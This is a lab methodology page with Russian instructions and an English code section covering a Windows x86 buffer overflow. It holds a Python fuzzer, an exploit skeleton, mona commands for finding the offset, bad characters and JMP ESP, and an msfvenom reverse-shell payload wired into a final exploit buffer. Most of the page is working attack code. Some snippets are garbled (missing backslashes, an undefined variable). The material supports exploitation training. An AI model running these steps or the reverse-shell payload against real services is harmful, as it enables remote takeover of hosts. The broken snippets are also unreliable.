Buffer Overflow — Windows x86
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
1. Подготовьте среду отладки и копию уязвимого ПО в лаборатории.
2. Следуйте шагам раздела для анализа переполнения и управления потоком.
3. Документируйте смещения и полезную нагрузку для отчёта.
4. Команды и фрагменты ниже — без локализации.
Методика
Discovering the offset
!mona config -set workingfolder C:mona
#!/usr/bin/python
import sys, socket, time
R_HOST = '10.10.95.169'
port = 1337
timeout = 5
counter = 100
prefix = "OVERFLOW1 "
while True:
try:
payload = prefix + "A"*counter
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((R_HOST, port))
s.recv(1024)
print '[+] Sending %s bytes...' % (len(payload) - len(prefix))
s.send(payload + 'rn')
s.recv(1024)
print '[+] Done'
except Exception as e:
print '[!] You cannot connect to the programme. You may have cracked it.'
print e
sys.exit(0)
counter = counter + 100
time.sleep(1)
!mona pattern_create <COUNTER>
python2.7 bof.py
#!/usr/bin/python
import sys, socket
ip = '127.0.0.1'
port = 9999
prefix = "OVERFLOW1 " # Si se requiere de un prefijo
pattern = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = "x90"*0 # 100
payload = ""
buffer = prefix + pattern + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "rn")
print("Done!")
except Exception as e :
print("Could not connect.")
print(e)
!mona pattern_offset <EIP_value>
Pattern 0cp1 (<EIP_value>) found in cyclic pattern at position <OFFSET>
buffer = <OFFSET>*'A'+'BBBB'+'C'*100
Finding bad characters
!mona bytearray -b "x00"
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff"
badchars = "<BADCHARS>"
buffer = <OFFSET>*'A'+'BBBB'+'C'*100+badchars
!mona compare -f bytearray.bin -a <Dirección donde badchars empieza>
| Address | Statys | Badchars | Tyrp |
| ———- | ————————- | ——————– | —— |
| 0x016def24 | Corruption after 06 bytes | 00 07 08 2e 2f a0 a1 | normal |
Looking for JMP ESP instruction addresses
!mona jmp -r esp -cpb "x00x07x2ex0a"
!mona find -s "xddxe4" -m "<Library_dll>" # Find the instruction inside a specif library
625014DF -> "xDFx14x50x62"
Generating the payload
msfvenom -p windows/shell_reverse_tcp LHOST=<YourIP> LPORT=443 -b "x00x07x2ex0a" -f python EXITFUNC=thread -v payload # -e x86/shikata_ga_nai
buf = "<PAYLOAD>"
[...]
buffer = "A"*2012+"xDFx14x50x62"+"x90"*100+buf
Ссылки
—






